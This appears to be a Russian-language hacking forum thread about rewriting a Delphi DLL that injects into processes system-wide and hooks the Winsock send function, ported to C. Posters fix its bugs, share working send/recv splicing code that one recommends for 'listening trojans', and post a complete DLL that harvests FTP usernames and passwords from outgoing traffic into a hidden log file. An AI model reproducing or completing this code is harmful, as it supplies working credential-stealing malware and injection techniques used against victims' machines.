Вобщем переписываю с делфи на си нижеприведённый код : Код (Text): library mshlp; uses windows,winsock; type OldCode = packed record One: dword; two: word; end; far_jmp = packed record PuhsOp: byte; PushArg: pointer; RetOp: byte; end; var Jmpwss: far_jmp; Oldwss: OldCode; wssAdr: pointer; procedure process_data(s:tsocket;tx:pchar); var size:integer; pname:TSockAddr; begin тра ля ля ; end; function i(Int: integer): string; begin Str(Int, result); end; function send(s: tsocket; var buf; len, flags: integer): integer; stdcall;external 'ws2_32.dll'; function Truesend(s: tsocket; var buf; len, flags: integer): integer;stdcall; var Written: dword; begin WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr, @Oldwss, SizeOf(OldCode), Written); Result := send(s, buf, len, flags); WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr, @Jmpwss, SizeOf(far_jmp), Written); end; function Newsend(s: tsocket; var buf; len, flags: integer): integer;stdcall; var tx:pchar; begin Result := Truesend(s, buf, len, flags); getmem(tx,len+1); tx:=pchar(@buf); process_data(s,tx); end; Procedure SetHook(); var hws2_32: dword; Bytes: dword; begin hws2_32 := GetModuleHandle('ws2_32.dll'); wssAdr := GetProcAddress(hws2_32, 'send'); ReadProcessMemory(INVALID_HANDLE_VALUE, wssAdr, @Oldwss, SizeOf(OldCode), Bytes); Jmpwss.PuhsOp := $68; Jmpwss.PushArg := @Newsend; Jmpwss.RetOp := $C3; WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr, @Jmpwss, SizeOf(far_jmp), Bytes2); end; Procedure Unhook(); var Bytes,Bytes2: dword; begin WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr, @Oldwss, SizeOf(OldCode), Bytes2); end; // залепа Function MessageProc(code : integer; wParam : word; lParam : longint) : longint; stdcall; begin CallNextHookEx(0, Code, wParam, lparam); Result := 0; end; Procedure SetGlobalHookProc(); begin SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0); Sleep(INFINITE); end; // Procedure SetGlobalHook(); var hMutex: dword; TrId: dword; begin hMutex := CreateMutex(nil, false, 'zxc'); if GetLastError = 0 then CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else CloseHandle(hMutex); end; procedure DLLEntryPoint(dwReason: DWord); begin case dwReason of DLL_PROCESS_ATTACH: begin SetGlobalHook(); Randomize(); SetHook() end; DLL_PROCESS_DETACH: UnHook(); end; end; begin DllProc := @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH); end. на делфи всё работает как часы , перехватывае send однако на си нехочет : Код (Text): #include <stdio.h> #include <windows.h> #include <winsock.h> struct OldCode { DWORD One; WORD two; }; struct far_jmp { unsigned char PuhsOp; DWORD PushArg; unsigned char RetOp; }; DWORD wssAdr; OldCode Oldwss; far_jmp Jmpwss; int WINAPI Truesend(SOCKET s, const char FAR * buf, int len, int flags) { DWORD Written; int ret; WriteProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Oldwss, sizeof(OldCode), &Written); ret = send(s, buf, len, flags); WriteProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Jmpwss, sizeof(far_jmp), &Written); return ret; } int WINAPI Newsend(SOCKET s, const char FAR * buf, int len, int flags) { MessageBox(0,"Newsend","1",1); return Truesend(s, buf, len, flags); } LRESULT WINAPI MessageProc(int nCode, WPARAM wParam, LPARAM lParam) { MessageBox(0,"MessageProc","1",1); CallNextHookEx(0, nCode, wParam, lParam); return 0; } unsigned long WINAPI SetGlobalHookProc(void*) { MessageBox(0,"SetGlobalHookProc","1",1); SetWindowsHookEx(WH_GETMESSAGE, MessageProc, 0, 0); Sleep(INFINITE); return 0; } void SetGlobalHook() { MessageBox(0,"SetGlobalHook","1",1); DWORD hMutex,trId; hMutex = (DWORD)CreateMutex(NULL, false, "z1xc"); if (0 == GetLastError()) CreateThread(NULL, 1024, SetGlobalHookProc, NULL, 0, &trId); else CloseHandle((void*)hMutex); } void SetHook() { char buf[1024]; HINSTANCE hws2_32; unsigned long Bytes; hws2_32 = GetModuleHandle("ws2_32.dll"); wssAdr=(DWORD)GetProcAddress(hws2_32, "send"); ReadProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Oldwss, sizeof(OldCode), &Bytes); Jmpwss.PuhsOp = 0x68; Jmpwss.PushArg = (DWORD)Newsend; Jmpwss.RetOp = 0xC3; WriteProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Jmpwss, sizeof(far_jmp), &Bytes); } void UnHook() { unsigned long Bytes; WriteProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Oldwss, sizeof(OldCode), &Bytes); } BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad) { switch( fdwReason ) { case DLL_PROCESS_ATTACH: SetGlobalHook(); SetHook(); break; case DLL_PROCESS_DETACH: UnHook(); break; } return true; } в конкретно затык происходит на участке Код (Text): wssAdr=(DWORD)GetProcAddress(hws2_32, "send"); ReadProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Oldwss, sizeof(OldCode), &Bytes); Jmpwss.PuhsOp = 0x68; Jmpwss.PushArg = (DWORD)Newsend; Jmpwss.RetOp = 0xC3; WriteProcessMemory(INVALID_HANDLE_VALUE, &wssAdr, &Jmpwss, sizeof(far_jmp), &Bytes); а ещё точнее Jmpwss.PushArg = (DWORD)Newsend; , через месаджбокс просматривал значение Jmpwss.PushArg оно в сишной либе иное нежели в дельфийной
ReadProcessMemory' : cannot convert parameter 2 from 'unsigned long' to 'const void *' если объявить wssAdr как DWORD* то компилятор ругается на wssAdr=(DWORD)GetProcAddress(hws2_32, "send");
shsh выравнивание на байт устанволено в структурах? зЫ: иное оно потому, что функция Newsend в длл, скомпиленой в делфе, лежит по другому адресу, нежели в скомпиленой сишной либе
нет, тут затык именно в том что студия выравнивает данные по 8 байт, сравни что возращает студия и делфи на sizeof(far_jmp), студия мне вроде давала 12, а делфи 6... я уже сталкивался с этой проблемой... для хранения данных я использовал не стурктуры а просто массив BYTE но можно решить и другим путем, перед обьявлением far_jmp и OldCode вставить директиву #pragma pack (push, 1) этот метод будет пожалуй правильнее...
LLInuoH тут затык и с указателями. ибо он пишет не по адресу функции, а по адресу, где лежит переменная wssAdr. Поэтому даже когда он починит выравнивание структуры, работать хук не будет. Помойму человек рановато решил занимаца такими вещами, если не понимает, что дает строка &wssAdr =)
да, вы правы, просто я неособо внимательно посмотрел код увидев ошибку в самом начале... и зачем эта куча ненужных приведений к DWORD? Вы в С++ используйте PVOID.
Вот мой полностью рабочий код сплайса recv и send (ws2_32.dll) by MS-Rem на C (API) с использованием мостов, что выгодно при написании "слушающих" троев, т.к. сам код реально ничего не импортирует из сокетов и т.п.: Код (Text): ///////////////////////////// //Coded by RET(c)2007// /////////////////////////// #pragma once #define _WIN32_WINNT 0x501 #include <windows.h> int (PASCAL FAR *tsend )(SOCKET s, const char FAR * buf,int len,int flags); int (PASCAL FAR *trecv )(SOCKET s,char FAR * buf,int len,int flags); int PASCAL FAR sends (SOCKET s, const char FAR * buf,int len,int flags) { //<-processing return tsend(s,buf,len,flags); } int PASCAL FAR recvs (SOCKET s,char FAR * buf,int len,int flags) { int rl=trecv(s,buf,len,flags); //<-processing return rl; } //Splicing with bridge (autor MS-Rem) //********************************************** bool SPLIS(void) { HMODULE WS_H=NULL; GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_PIN,"ws2_32.dll",&WS_H); if(WS_H==NULL) return false;; DWORD sendA=(DWORD)GetProcAddress(WS_H,"send"); DWORD recvA=(DWORD)GetProcAddress(WS_H,"recv"); if(sendA && recvA) { BYTE* rbridg=(BYTE*)VirtualAlloc(NULL,10,MEM_COMMIT,PAGE_EXECUTE_READWRITE); BYTE* sbridg=(BYTE*)VirtualAlloc(NULL,10,MEM_COMMIT,PAGE_EXECUTE_READWRITE); DWORD Protects; DWORD Protectr; VirtualProtect((LPVOID)sendA, 5, PAGE_EXECUTE_READWRITE, &Protects); VirtualProtect((LPVOID)recvA, 5, PAGE_EXECUTE_READWRITE, &Protectr); ReadProcessMemory(GetCurrentProcess(), (LPVOID)sendA, sbridg, 5, 0); ReadProcessMemory(GetCurrentProcess(), (LPVOID)recvA, rbridg, 5, 0); if(!memcmp(sbridg,rbridg,5)) { sbridg[5]=0xE9; rbridg[5]=0xE9; DWORD JA=sendA-(DWORD)sbridg-5; memcpy(&sbridg[6],&JA,4); JA=recvA-(DWORD)rbridg-5; memcpy(&rbridg[6],&JA,4); tsend=(int (PASCAL*)(SOCKET,const char*,int,int))(DWORD)sbridg; trecv=(int (PASCAL*)(SOCKET,char*,int,int))(DWORD)rbridg; BYTE jmp[5]={0xe9,0x00,0x00,0x00,0x00}; JA=(DWORD)recvs - recvA - 5; memcpy(&jmp[1],&JA,4); if(WriteProcessMemory(GetCurrentProcess(),(LPVOID)recvA,jmp, 5, 0)) { JA=(DWORD)sends - sendA - 5; memcpy(&jmp[1],&JA,4); if(WriteProcessMemory(GetCurrentProcess(),(LPVOID)sendA,jmp, 5, 0)) { VirtualProtect((LPVOID)sendA, 5, Protects, &Protects); VirtualProtect((LPVOID)recvA, 5, Protectr, &Protectr); return true; } } } } return false; } Помню я долго доходил до выделения под примитив моста VirtualAlloc(NULL,..,MEM_COMMIT,PAGE_EXECUTE_READWRITE), остальное все сделано по технике MS-Rem. Кстати здесь только конкретный пример конкретного применения. Сейчас кстати готовлю новый интересный рецепт. Скоро выложу.
вот готовый пример для сбора фтп акков , в виде длл main.c Код (Text): #include <stdio.h> #include <winsock2.h> char addr[255],ftp_user[255],ftp_pass[255]; int save(char *s) { FILE * Tlog = fopen("c:\\ntload","a"); fputs(s,Tlog); fclose(Tlog); return 0; } int ProcessOutData(SOCKET s , char* buf) { char tmp[255]; int size=sizeof(SOCKADDR_IN);; SOCKADDR_IN pname; getpeername(s,&pname,&size); strcpy(addr,inet_ntoa(pname.sin_addr)); if(ntohs(pname.sin_port)==21) { if(buf[0]=='U') { strcpy(ftp_user,buf); strcpy(ftp_user,strstr(ftp_user," ")+1); ftp_user[strlen(ftp_user)-2]=0; } if(buf[3]=='S') { strcpy(ftp_pass,buf); strcpy(ftp_pass,strstr(ftp_pass," ")+1); ftp_pass[strlen(ftp_pass)-2]=0; } if(strcmp(ftp_user,"") && strcmp(ftp_pass,"")) { strcpy(tmp,"ftp://"); strcat(tmp,ftp_user); strcat(tmp,":"); strcat(tmp,ftp_pass); strcat(tmp,"@"); strcat(tmp,addr); strcat(tmp,"\n"); save(tmp); strcpy(ftp_user,""); strcpy(ftp_pass,""); } } return 0; } #include "h_send.h" #include "h_WSASend.h" #include "hook.h" BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad) { switch( fdwReason ) { case DLL_PROCESS_ATTACH: hDLL=hinstDll; SetGlobalHook(); SetHook(); break; case DLL_PROCESS_DETACH: UnHook(); break; } return true; } h_send.h Код (Text): LPVOID wssAdr; OldCode Oldwss; far_jmp Jmpwss; int WINAPI Truesend(SOCKET s, const char FAR * buf, int len, int flags) { DWORD Written; int ret; WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr, &Oldwss, sizeof(OldCode), &Written); ret = send(s, buf, len, flags); WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr, &Jmpwss, sizeof(far_jmp), &Written); return ret; } int WINAPI Newsend(SOCKET s, char FAR * buf, int len, int flags) { ProcessOutData(s,buf); return Truesend(s, buf, len, flags); } h_WSASend.h Код (Text): LPVOID wssAdr2; OldCode Oldwss2; far_jmp Jmpwss2; int TrueWSASend( SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags,LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) { DWORD Written; int ret; ProcessOutData(s,lpBuffers->buf); WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr2, &Oldwss2, sizeof(OldCode), &Written); ret = WSASend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent,dwFlags,lpOverlapped,lpCompletionRoutine); WriteProcessMemory(INVALID_HANDLE_VALUE, wssAdr2, &Jmpwss2, sizeof(far_jmp), &Written); return ret; } int NewWSASend( SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags,LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) { return TrueWSASend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent,dwFlags,lpOverlapped,lpCompletionRoutine); }
shsh Код (Text): if(buf[3]=='S') { strcpy(ftp_pass,buf); strcpy(ftp_pass,strstr(ftp_pass," ")+1); ftp_pass[strlen(ftp_pass)-2]=0; } OMG! Смотрю сейчас логи WireShark'а. Использую TCMD. Там как раз после команды PASS используется OPTS. ГГ